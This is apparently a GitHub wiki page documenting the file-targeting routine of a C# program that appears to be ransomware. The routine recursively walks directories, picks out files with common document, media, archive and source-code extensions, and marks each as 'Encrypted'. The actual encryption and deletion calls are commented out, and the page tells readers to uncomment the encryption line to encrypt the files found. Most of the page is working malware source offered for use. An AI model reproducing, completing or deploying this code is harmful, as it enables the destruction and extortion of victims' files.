Skip to content

Form1.cs | ShowAllFoldersUnder

HackTheDev edited this page Aug 5, 2021 · 2 revisions

This method is responsible for getting all files in a Directory and Sub-Directories. For each Directory it will try to get all the files from the current directory, and then checks if the file's extension is one of the extensions defined in validExtensions. All extension types have to be lowercase, since this method will set the file's extension to lowercase when checking.

skipPath is basically the same as the validExtensions array, but used to skip certain paths for faster results. When testing this feature didn't work, but it didn't crash eighter. This will be investigated.

Encryption is disabled for testing purposes but you can uncomment the line //Crypto.FileEncrypt(s, Properties.Settings.Default.key); to also encrypt files the application has found.

string[] file;
        private void ShowAllFoldersUnder(string path, int indent)
        {
            try
            {
                if ((File.GetAttributes(path) & FileAttributes.ReparsePoint)
                    != FileAttributes.ReparsePoint)
                {
                    foreach (string folder in Directory.GetDirectories(path))
                    {
                        if (!folder.Contains("System Volume Information"))
                        {
                            try
                            {
                                file = Directory.GetFiles(Path.GetFullPath(folder));
                            }
                            catch (Exception ex) { write(ex.Message); }

                            foreach (string s in file)
                            {
                                string ext = Path.GetExtension(s);
                                var validExtensions = new[]
                                {
                                ".jpg", ".jpeg", ".gif", ".mp3", ".m4a", ".wav", ".pdf", ".raw", ".bat", ".json", ".doc", ".txt", ".png", ".cs", ".c", ".java", ".h", ".rar", ".zip", ".7zip",
                                ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".xhtml", ".odt", ".ods", ".wma",
                                ".wav", ".mpa", ".ogg", ".arj", ".deb", ".pkg", ".rar", ".tar.gz", ".gz", ".zip", ".py", ".pl", ".bin", ".ai" ,".ico",
                                ".asp", ".aspx", ".css", ".js", ".py", ".sh", ".vb", "java", ".cpp"
                            };

                                // "skipPath" is experimental and currently not working
                                var skipPath = new[]
                                {
                                "System32", "WinSxS", "Program Files"
                            };

                                if (validExtensions.Contains(ext.ToLower()))
                                {
                                    //Task.Run(() => Crypto.FileEncrypt(s, Properties.Settings.Default.key));

                                    try
                                    {
                                        //File.Delete(s);
                                    }
                                    catch (Exception ex2)
                                    {
                                        write("Cant delete file " + ex2.Message);
                                        Log(ex2.Message, "ShowAllFoldersUnder > Delete Error");
                                    }

                                    write("Encrypted " + s);
                                }

                            }
                        }

                        ShowAllFoldersUnder(folder, indent + 2);
                    }
                }
            }
            catch (Exception e) { write(e.Message); Log(e.Message, "ShowAllFolderUnder > General Error"); }
            
        }